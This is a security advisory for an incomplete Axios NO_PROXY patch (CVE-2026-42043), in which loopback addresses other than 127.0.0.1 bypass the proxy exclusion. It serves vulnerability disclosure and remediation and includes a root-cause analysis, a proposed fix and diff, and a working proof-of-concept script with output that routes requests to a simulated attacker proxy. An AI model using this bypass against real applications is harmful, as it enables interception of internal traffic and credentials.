// isLoopback("127.0.0.2") → LOOPBACK_ADDRESSES.has("127.0.0.2") → FALSE
// This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1
Why this is dangerous: The Set performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns false, causing shouldBypassProxy() to return false and silently route the request through the configured proxy.
5.2 Proposed Patched Code
Replace lines 1–3 in lib/helpers/shouldBypassProxy.js with the following RFC-compliant implementation:
// lib/helpers/shouldBypassProxy.js
// Lines 1–3 (PROPOSED FIX — RFC 1122 §3.2.1.3 Compliant)
const isLoopback = (host) => {
// Named loopback hostname
if (host === 'localhost') return true;
// IPv6 loopback address
if (host === '::1') return true;
// Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 §3.2.1.3)
// Matches any address from 127.0.0.0 through 127.255.255.254
const parts = host.split('.');
return (
parts.length === 4 &&
parts[0] === '127' &&
parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)
);
};
5.3 Diff View — Before vs After
// lib/helpers/shouldBypassProxy.js
- const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
-
- const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
+ const isLoopback = (host) => {
+ if (host === 'localhost') return true;
+ if (host === '::1') return true;
+ const parts = host.split('.');
+ return (
+ parts.length === 4 &&
+ parts[0] === '127' &&
+ parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)
+ );
+ };
All other code in shouldBypassProxy.js remains unchanged. No other files require modification.
5.4 Why This Fix Must Be Applied
Reason 1 — RFC 1122 Compliance
The current implementation violates RFC 1122 §3.2.1.3, which defines the entire 127.0.0.0/8 block as the IPv4 loopback address range not just the single address 127.0.0.1. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.
RFC 1122 §3.2.1.3:
"The address 127.0.0.0/8 is assigned for loopback.
A datagram sent by a higher-level protocol to a loopback
address MUST NOT appear on any network."
Current fix covers : 3 addresses (localhost, 127.0.0.1, ::1)
Proposed fix covers : 16,777,216 addresses (entire 127.0.0.0/8 + loopback names)
Reason 2 — The Existing Patch Has Already Failed Once
The patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting 127.0.0.1 with any other address in the 127.0.0.0/8 range. Leaving this gap unaddressed means that the patch creates a false sense of security developers believe their loopback traffic is protected when it is not.
Reason 3 — Real Operating System Behaviour
On Linux the dominant platform for Node.js server deployments the kernel routes the entire 127.0.0.0/8 subnet to the loopback interface lo by default. This means any address in that range functions identically to 127.0.0.1 at the networking level.
# Linux routing table — default configuration
$ ip route show table local | grep "127"
local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1
# Proof: 127.0.0.2 is a valid loopback address on Linux
$ ping -c 1 127.0.0.2
PING 127.0.0.2: 56 data bytes
64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms
Axios's current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.
Reason 4 — The Proposed Fix Has Zero Performance Impact
The existing solution uses a Set.has() lookup an O(1) operation. The proposed fix replaces this with:
- Two direct string comparisons (
'localhost','::1') — O(1) - A
split('.')and array validation — O(1) with a fixed-length array of 4 elements The computational cost is equivalent or lower than the current approach, and the fix introduces no new external dependencies.
Reason 5 — The Fix Is Minimal and Surgical The proposed change modifies only 3 lines of a single file. It does not alter:
- The
parseNoProxyEntry()function - The
normalizeNoProxyHost()function - The
shouldBypassProxy()main function logic - Any other file in the codebase
This minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.
Reason 6 — Resilient to Alternative IP Encodings
Because Axios normalises the request URL using Node's native new URL() parser before passing it to shouldBypassProxy(), alternative IP encodings (such as octal 0177.0.0.1, hex 0x7f.0.0.1, or integer 2130706433) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed .split('.') validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.
5.5 Additional Recommendation — IPv6 Loopback Range
While the primary bypass demonstrated in this report targets the IPv4 127.0.0.0/8 range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only ::1. A more complete check would also handle the full-form notation:
// Additional IPv6 loopback representations to consider:
'0:0:0:0:0:0:0:1' // Full notation of ::1
'::ffff:127.0.0.1' // IPv4-mapped IPv6 loopback
'::ffff:7f00:1' // Hex IPv4-mapped IPv6 loopback
Normalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.31.0"
},
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42043"
],
"database_specific": {
"cwe_ids": [
"CWE-183",
"CWE-441",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T00:20:58Z",
"nvd_published_at": "2026-04-24T18:16:31Z",
"severity": "HIGH"
},
"details": "**1. Executive Summary**\nThis report documents an **incomplete security patch** for the previously disclosed vulnerability **GHSA-3p68-rc4w-qgx5 (CVE-2025-62718)**, which affects the `NO_PROXY` hostname resolution logic in the Axios HTTP library.\n\n**Background \u2014 The Original Vulnerability**\nThe original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against `NO_PROXY` rules. Specifically, a request to `http://localhost./` (with a trailing dot) or `http://[::1]/` (with IPv6 bracket notation) would **bypass NO_PROXY matching entirely** and be forwarded to the configured HTTP proxy \u2014 even when `NO_PROXY=localhost,127.0.0.1,::1` was explicitly set by the developer to protect loopback services.\n\nThe Axios maintainers addressed this in **version 1.15.0** by introducing a `normalizeNoProxyHost()` function in `lib/helpers/shouldBypassProxy.js`, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.\n\n**The Incomplete Patch \u2014 This Finding**\nWhile the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), **the fix is architecturally incomplete**.\n\nThe patch introduced a hardcoded set of recognized loopback addresses:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 1\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n```\nHowever, **RFC 1122 \u00a73.2.1.3** explicitly defines the **entire 127.0.0.0/8 subnet** as the IPv4 loopback address block not just the single address `127.0.0.1`. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range `127.0.0.2` through `127.255.255.254` is a valid, functional loopback address that routes to the local machine.\n\nAs a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the `127.0.0.0/8` range (e.g., `127.0.0.2`, `127.0.0.100`, `127.1.2.3`) to **completely bypass** the `NO_PROXY` protection even in the fully patched Axios 1.15.0 release.\n\n**Verification**\nThis bypass has been **independently verified** on:\n\n* **Axios version:** 1.15.0 (latest patched release)\n* **Node.js version:** v22.16.0\n* **OS:** Kali Linux (rolling)\n\nThe Proof-of-Concept demonstrates that while `localhost`, `localhost`., and `[::1]` are correctly blocked by the patched version, requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` are **transparently forwarded to the attacker-controlled proxy server**, confirming that the patch does not cover the full RFC-defined loopback address space.\n\n**2. Deep-Dive: Technical Root Cause Analysis**\n**2.1 Vulnerable File \u0026 Location**\n\n| Field | Detail |\n| ------------- | ------------- |\n| File | lib/helpers/shouldBypassProxy.js| \n| Primary Flaw| isLoopback() \u2014 Line 1\u20133 |\n| Supporting Function | shouldBypassProxy() \u2014 Line 59\u2013110 |\n| Axios Version | 1.15.0 (Latest Patched Release) |\n\n**2.2 How Axios Routes HTTP Requests The Call Chain**\nWhen Axios dispatches any HTTP request, `lib/adapters/http.js` calls `setProxy()`, which invokes `shouldBypassProxy()` to decide whether to honour a configured proxy:\n\n```\n// lib/adapters/http.js \u2014 Lines 191\u2013199\nfunction setProxy(options, configProxy, location) {\n let proxy = configProxy;\n if (!proxy \u0026\u0026 proxy !== false) {\n const proxyUrl = getProxyForUrl(location); // Step 1: Read proxy env var\n if (proxyUrl) {\n if (!shouldBypassProxy(location)) { // Step 2: Check NO_PROXY\n proxy = new URL(proxyUrl); // Step 3: Assign proxy\n }\n }\n }\n}\n```\n`shouldBypassProxy()` is the **single gatekeeper** for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.\n\n**2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)**\nBefore Axios 1.15.0, hostnames were compared against `NO_PROXY` using a **raw literal string match** with no normalization:\n\n```\nRequest URL \u2192 http://localhost./secret\nNO_PROXY \u2192 \"localhost,127.0.0.1,::1\"\nComparison:\n \"localhost.\" === \"localhost\" \u2192 FALSE \u2192 Proxy used \u2190 BYPASS\n \"[::1]\" === \"::1\" \u2192 FALSE \u2192 Proxy used \u2190 BYPASS\n```\nBoth `localhost.` (FQDN trailing dot, RFC 1034 \u00a73.1) and `[::1]` (bracketed IPv6 literal, RFC 3986 \u00a73.2.2) are **canonical representations of loopback addresses**, but Axios treated them as unknown hosts.\n\n\n**2.4 What the Patch Fixed (Axios 1.15.0)**\nThe patch introduced three changes inside `lib/helpers/shouldBypassProxy.js`:\n\n\u003cimg width=\"602\" height=\"123\" alt=\"01_axios_version_verification\" src=\"https://github.com/user-attachments/assets/844446f2-01fb-4933-9316-fb849c40c8f5\" /\u003e\n\n**Fix A `normalizeNoProxyHost()` (Lines 47\u201357)**\nStrips alternate representations before comparison:\n\n```\nconst normalizeNoProxyHost = (hostname) =\u003e {\n if (!hostname) return hostname;\n // Remove IPv6 brackets: \"[::1]\" \u2192 \"::1\"\n if (hostname.charAt(0) === \u0027[\u0027 \u0026\u0026 hostname.charAt(hostname.length - 1) === \u0027]\u0027) {\n hostname = hostname.slice(1, -1);\n }\n // Strip trailing FQDN dot: \"localhost.\" \u2192 \"localhost\"\n return hostname.replace(/\\.+$/, \u0027\u0027);\n};\n```\n**Fix B Cross-Loopback Equivalence (Lines 1\u20133 \u0026 108)**\nAllows `127.0.0.1` and `localhost` to match each other interchangeably:\n\n```\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n// Line 108 \u2014 Final match condition:\nreturn hostname === entryHost\n || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n// If both sides are \"loopback\" \u2192 treat as match\n```\n\n**Fix C Normalization Applied on Both Sides (Lines 81 \u0026 90)**\n\n```\n// Request hostname normalized:\nconst hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());\n// Each NO_PROXY entry normalized:\nentryHost = normalizeNoProxyHost(entryHost);\n```\n\n**2.5 The Incomplete Patch Exact Root Cause**\nThe fundamental flaw resides in Line 1:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 1 \u2190 ROOT CAUSE\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n// ^^^^^^^^^^^\n// Only ONE IPv4 loopback address is recognized.\n// The entire 127.0.0.0/8 subnet is unaccounted for.\n// Line 3 \u2014 Lookup against this incomplete set:\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n// ^^^^^^^^^\n// Returns FALSE for any 127.x.x.x \u2260 127.0.0.1\n```\n\u003cimg width=\"884\" height=\"135\" alt=\"02_vulnerable_code_loopback_addresses\" src=\"https://github.com/user-attachments/assets/ba06b91e-a2d2-4a99-9e1f-8c8bfbb6d71e\" /\u003e\n\n***RFC 1122 \u00a73.2.1.3 is unambiguous:**\n\n\u003e \"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network.\"\n\nThis means all addresses from `127.0.0.1` through `127.255.255.254` are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire `/8` block is routed to the `lo` interface by default. The patch recognises only `127.0.0.1`, leaving `16,777,213` valid loopback addresses unprotected.\n\n\u003cimg width=\"884\" height=\"537\" alt=\"03_rfc1122_loopback_definition\" src=\"https://github.com/user-attachments/assets/951eabb4-2ec6-40ef-ad00-1fd5b9aed2d0\" /\u003e\n\n**2.6 Step-by-Step Bypass Execution Trace**\nEnvironment:\n\n```\nNO_PROXY = \"localhost,127.0.0.1,::1\"\nHTTP_PROXY = \"http://attacker-proxy:5300\"\nTarget URL = \"http://127.0.0.2:9191/internal-api\"\n```\n**Annotated execution of shouldBypassProxy(\"http://127.0.0.2:9191/internal-api\"):**\n\n```\n// Step 1 \u2014 Parse the request URL\nparsed = new URL(\"http://127.0.0.2:9191/internal-api\")\nhostname = \"127.0.0.2\" // parsed.hostname\n// Step 2 \u2014 Read NO_PROXY environment variable\nnoProxy = \"localhost,127.0.0.1,::1\" // lowercased\n// Step 3 \u2014 Normalize the request hostname\nhostname = normalizeNoProxyHost(\"127.0.0.2\")\n// No brackets \u2192 skip\n// No trailing dot \u2192 skip\n// Result: \"127.0.0.2\" (unchanged)\n// Step 4 \u2014 Iterate over NO_PROXY entries\n// Entry \u2192 \"localhost\"\nentryHost = \"localhost\"\n\"127.0.0.2\" === \"localhost\" \u2192 false\nisLoopback(\"127.0.0.2\") \u2192 false \u2190 Set.has() returns false\n BYPASS starts here\n// Entry \u2192 \"127.0.0.1\"\nentryHost = \"127.0.0.1\"\n\"127.0.0.2\" === \"127.0.0.1\" \u2192 false\nisLoopback(\"127.0.0.2\") \u0026\u0026 isLoopback(\"127.0.0.1\")\n \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\") \u2192 false \u2190 Same failure\n \u2192 false\n// Entry \u2192 \"::1\"\nentryHost = \"::1\"\n\"127.0.0.2\" === \"::1\" \u2192 false\nisLoopback(\"127.0.0.2\") \u0026\u0026 isLoopback(\"::1\")\n \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\") \u2192 false \u2190 Same failure\n \u2192 false\n// Step 5 \u2014 Final return\nshouldBypassProxy() \u2192 false\n// Axios proceeds to route the request through the configured proxy.\n// The attacker\u0027s proxy server receives the full request including headers\n// and any response from the internal service.\n```\n\n**2.7 Why the Patch Design Is Flawed**\nThe patch addresses the **symptom** (two specific alternate representations) rather than the **root cause** (an incomplete definition of what constitutes a loopback address).\n\n| Aspect | Original Bug | This Finding |\n| ------------- | ------------- | ------------- |\n| What was wrong | No normalization before comparison | Incomplete loopback address set|\n| Fix applied | Added normalizeNoProxyHost() | None set remains hardcoded |\n| RFC compliance | Violated RFC 1034 \u0026 RFC 3986 | Violates RFC 1122 \u00a73.2.1.3 |\n| Bypass method | Alternate string representation | Alternate valid loopback address |\n| Impact | NO_PROXY bypass \u2192 SSRF | NO_PROXY bypass \u2192 SSRF (identical) |\n\n```\n**2.8 Total Exposed Address Space**\nProtected by patch: 127.0.0.1 (1 address)\nUnprotected loopback: 127.0.0.2\n through\n 127.255.255.254 (16,777,213 addresses)\n```\nReal-world services that commonly bind to non-standard loopback addresses include:\n\n* Internal microservices and admin dashboards using dedicated loopback IPs\n* Development environments with multiple isolated service instances\n* Docker and container bridge network configurations\n* Test infrastructure allocating sequential loopback IPs across services\n\n**3. Comprehensive Attack Vector \u0026 Proof of Concept**\n\n**3.1 Reproduction Steps**\n\nStep 1 \u2014 Create a fresh project directory\n```\nmkdir axios-bypass-test \u0026\u0026 cd axios-bypass-test\n```\n**Step 2 \u2014 Initialize the project with the patched Axios version**\nCreate `package.json`:\n\n```\n{\n \"type\": \"module\",\n \"dependencies\": {\n \"axios\": \"1.15.0\"\n }\n}\n```\nInstall dependencies:\n\n```\nnpm install\n```\nVerify the installed version:\n\n```\nnpm list axios\n# Expected output: axios@1.15.0\n```\n\n**Step 3 \u2014 Create the PoC file (`poc.js`)**\n\n```\nimport http from \u0027http\u0027;\nimport axios from \u0027axios\u0027;\n// \u2500\u2500 Simulated attacker-controlled proxy server \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nconst PROXY_PORT = 5300;\nhttp.createServer((req, res) =\u003e {\n console.log(\u0027\\n[!] PROXY HIT \u2014 Attacker proxy received request!\u0027);\n console.log(` Method : ${req.method}`);\n console.log(` URL : ${req.url}`);\n console.log(` Host : ${req.headers.host}`);\n res.writeHead(200);\n res.end(\u0027proxied\u0027);\n}).listen(PROXY_PORT);\n// \u2500\u2500 Simulated developer security configuration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// Developer believes all loopback traffic is protected by NO_PROXY.\nprocess.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;\nprocess.env.NO_PROXY = \u0027localhost,127.0.0.1,::1\u0027;\n// \u2500\u2500 Test helper \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nasync function test(url) {\n console.log(`\\n[*] Testing: ${url}`);\n try {\n const res = await axios.get(url, { timeout: 2000 });\n if (res.data === \u0027proxied\u0027) {\n console.log(\u0027 Result \u2192 [PROXIED] \u2190 BYPASS CONFIRMED\u0027);\n } else {\n console.log(\u0027 Result \u2192 [DIRECT] \u2190 Safe, no proxy used\u0027);\n }\n } catch (err) {\n if (err.code === \u0027ECONNREFUSED\u0027) {\n console.log(\u0027 Result \u2192 [DIRECT] \u2190 ECONNREFUSED (request did not go through proxy)\u0027);\n }\n }\n}\n// \u2500\u2500 Test execution \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nsetTimeout(async () =\u003e {\n // Section A: Cases fixed by the existing patch \u2014 expected to go DIRECT\n console.log(\u0027\\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===\u0027);\n await test(\u0027http://localhost:9191/secret\u0027);\n await test(\u0027http://localhost.:9191/secret\u0027);\n await test(\u0027http://[::1]:9191/secret\u0027);\n // Section B: Bypass cases \u2014 expected to go DIRECT, but actually go through proxy\n console.log(\u0027\\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===\u0027);\n await test(\u0027http://127.0.0.2:9191/secret\u0027);\n await test(\u0027http://127.0.0.100:9191/secret\u0027);\n await test(\u0027http://127.1.2.3:9191/secret\u0027);\n process.exit(0);\n}, 500);\n```\n\n**Step 4 \u2014 Execute the PoC**\n\n```\nnode poc.js\n```\n\n**3.2 Observed Output**\nThe following output was captured during testing on Kali Linux with Axios 1.15.0:\n\n```\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===\n[*] Testing: http://localhost:9191/secret\n Result \u2192 [DIRECT] \u2190 ECONNREFUSED (request did not go through proxy) \n[*] Testing: http://localhost.:9191/secret\n Result \u2192 [DIRECT] \u2190 ECONNREFUSED (request did not go through proxy) \n[*] Testing: http://[::1]:9191/secret\n Result \u2192 [DIRECT] \u2190 ECONNREFUSED (request did not go through proxy) \n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===\n[*] Testing: http://127.0.0.2:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n Method : GET\n URL : http://127.0.0.2:9191/secret\n Host : 127.0.0.2:9191\n Result \u2192 [PROXIED] \u2190 BYPASS CONFIRMED \n[*] Testing: http://127.0.0.100:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n Method : GET\n URL : http://127.0.0.100:9191/secret\n Host : 127.0.0.100:9191\n Result \u2192 [PROXIED] \u2190 BYPASS CONFIRMED \n[*] Testing: http://127.1.2.3:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n Method : GET\n URL : http://127.1.2.3:9191/secret\n Host : 127.1.2.3:9191\n Result \u2192 [PROXIED] \u2190 BYPASS CONFIRMED \n```\n\u003cimg width=\"1621\" height=\"739\" alt=\"05_poc_execution_bypass_confirmed\" src=\"https://github.com/user-attachments/assets/6caf9f7a-36ed-4feb-b9f3-f82532da2de7\" /\u003e\n\n**3.3 Analysis of Results**\nThe output conclusively demonstrates the following:\n\n**Patched cases behave correctly:** Requests to `localhost`, `localhost.` (trailing dot), and `[::1]` (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.\n\n**Bypass cases confirm the incomplete patch:** Requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` all of which are valid loopback addresses within the `127.0.0.0/8` subnet as defined by `RFC 1122 \u00a73.2.1.3` are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and `Host` header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.\n\nThis confirms that the `NO_PROXY` protection configured by the developer (`localhost,127.0.0.1,::1`) fails silently for the entire `127.0.0.0/8` address range beyond `127.0.0.1`, providing a reproducible and reliable bypass of the security control introduced by the patch.\n\n**4. Impact Assessment**\nThis vulnerability is a **security control bypass** specifically an incomplete patch that allows an attacker to circumvent the `NO_PROXY` protection mechanism in Axios by using any loopback addresses within the `127.0.0.0/8` subnet other than `127.0.0.1`. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.\n\n**4.1 Who Is Impacted?**\n\nPrimary Target \u2014 Node.js Backend Applications\nAny Node.js application that meets **all three of the following conditions** is vulnerable:\n\n```\nCondition 1: Uses Axios 1.15.0 (latest patched) for HTTP requests\nCondition 2: Has HTTP_PROXY or HTTPS_PROXY set in its environment\n (common in corporate networks, cloud deployments,\n containerised environments, and CI/CD pipelines)\nCondition 3: Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)\n to protect loopback or internal services from proxy routing\n```\n**Affected Deployment Environments**\n| Environment | Risk Level |\n| ------------- | ------------- |\n| Cloud-hosted applications (AWS, GCP, Azure) | Critical| \n| Containerised microservices (Docker, Kubernetes) | Critical| \n| Corporate networks with mandatory proxy | High| \n| CI/CD pipelines with proxy environment variables | High| \n| On-premise servers with internal proxy | High| \n\n**Scale of Exposure**\nAxios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over **500 million weekly downloads** on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.\n\n**4.3 Impact Details**\n\n**Impact 1 Silent Interception of Internal Service Traffic**\n\nWhen an application makes a request to an internal loopback service using a non-standard loopback address (e.g., `http://127.0.0.2/admin`), Axios silently routes the request through the configured proxy instead of connecting directly.\n\n```\nDeveloper expects: Application \u2192 127.0.0.2:8080 (direct)\nActual behaviour: Application \u2192 Attacker Proxy \u2192 127.0.0.2:8080\nThe proxy receives:\n - Full request URL\n - HTTP method\n - All request headers (including Authorization, Cookie, API keys)\n - Request body (for POST/PUT requests)\n - Full response from the internal service\n```\nThe developer receives no error or warning. From the application\u0027s perspective, the request succeeds normally.\n\n**Impact 2 \u2014 SSRF Mitigation Bypass**\nMany applications implement SSRF protections by configuring `NO_PROXY` to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond `127.0.0.1`.\n\n```\nSSRF Protection (as configured by developer):\n NO_PROXY = localhost,127.0.0.1,::1\nWhat developer believes is protected:\n All loopback/internal addresses\nWhat is actually protected:\n Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)\nWhat remains exposed:\n 127.0.0.2 through 127.255.255.254 (16,777,213 addresses)\n```\nAn attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.\n\n**Impact 3 \u2014 Cloud Metadata Service Exposure**\nIn cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.\n\nWhile the AWS IMDSv2 service is reachable at `169.254.169.254` (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the `127.0.0.0/8` range. An attacker reaching any of these services through the bypass could:\n\n* Retrieve temporary IAM credentials\n* Access environment variables containing secrets\n* Enumerate internal service configurations\n* Pivot to other internal services via the compromised credentials\n\n**Impact 4 \u2014 Confidential Data Exfiltration**\nAny internal service binding to a `127.x.x.x` address other than `127.0.0.1` is fully exposed. This includes:\n\n| Internal Service Type | Exposed Data |\n| ------------- | ------------- |\n| Admin panels / dashboards | User data, configuration, logs | \n| Internal APIs | Business logic, database contents | \n| Secret managers / vaults | API keys, tokens, certificates | \n| Health check endpoints | Infrastructure topology | \n| Development services | Source code, environment variables | \n\n**Impact 5 \u2014 No Indication of Compromise**\nA particularly dangerous characteristic of this vulnerability is that it is **completely silent** neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application\u0027s perspective, making detection extremely difficult without active network monitoring.\n\n**4.4 Comparison with Original Vulnerability**\n\n| Internal Service Type | Exposed Data | Exposed Data |\n| ------------- | ------------- | ------------- |\n| Attack method | Use localhost. or [::1]| Use any 127.x.x.x \u2260 127.0.0.1 | \n| Patch status | Fixed in 1.15.0 | Not fixed in 1.15.0 | \n| CVSS score | 9.3 Critical | 9.9 Critical or (equivalent) | \n| Attacker effort| Trivial | Trivial | \n| Detection by developer | None | None | \n| Impact | SSRF / proxy bypass | SSRF / proxy bypass (identical) | \n\nThe severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.\n\n**5. Technical Remediation \u0026 Proposed Fix**\n\n**5.1 Vulnerable Code Block**\n\nThe vulnerability resides in `lib/helpers/shouldBypassProxy.js` at lines 1\u20133. The following is the exact code extracted from Axios 1.15.0:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Axios 1.15.0\n// Lines 1\u20133 (VULNERABLE)\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n```\nThis hardcoded `Set` is subsequently used at line 108 during the final NO_PROXY match evaluation:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 108 (VULNERABLE USAGE)\nreturn hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n// isLoopback(\"127.0.0.2\") \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\") \u2192 FALSE\n// This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1\n```\n**Why this is dangerous:** The `Set` performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns `false`, causing `shouldBypassProxy()` to return `false` and silently route the request through the configured proxy.\n\n**5.2 Proposed Patched Code**\nReplace lines 1\u20133 in `lib/helpers/shouldBypassProxy.js` with the following RFC-compliant implementation:\n\n```\n// lib/helpers/shouldBypassProxy.js\n// Lines 1\u20133 (PROPOSED FIX \u2014 RFC 1122 \u00a73.2.1.3 Compliant)\nconst isLoopback = (host) =\u003e {\n // Named loopback hostname\n if (host === \u0027localhost\u0027) return true;\n // IPv6 loopback address\n if (host === \u0027::1\u0027) return true;\n // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 \u00a73.2.1.3)\n // Matches any address from 127.0.0.0 through 127.255.255.254\n const parts = host.split(\u0027.\u0027);\n return (\n parts.length === 4 \u0026\u0026\n parts[0] === \u0027127\u0027 \u0026\u0026\n parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255)\n );\n};\n```\n**5.3 Diff View \u2014 Before vs After**\n\n```\n// lib/helpers/shouldBypassProxy.js\n- const LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n-\n- const isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n+ const isLoopback = (host) =\u003e {\n+ if (host === \u0027localhost\u0027) return true;\n+ if (host === \u0027::1\u0027) return true;\n+ const parts = host.split(\u0027.\u0027);\n+ return (\n+ parts.length === 4 \u0026\u0026\n+ parts[0] === \u0027127\u0027 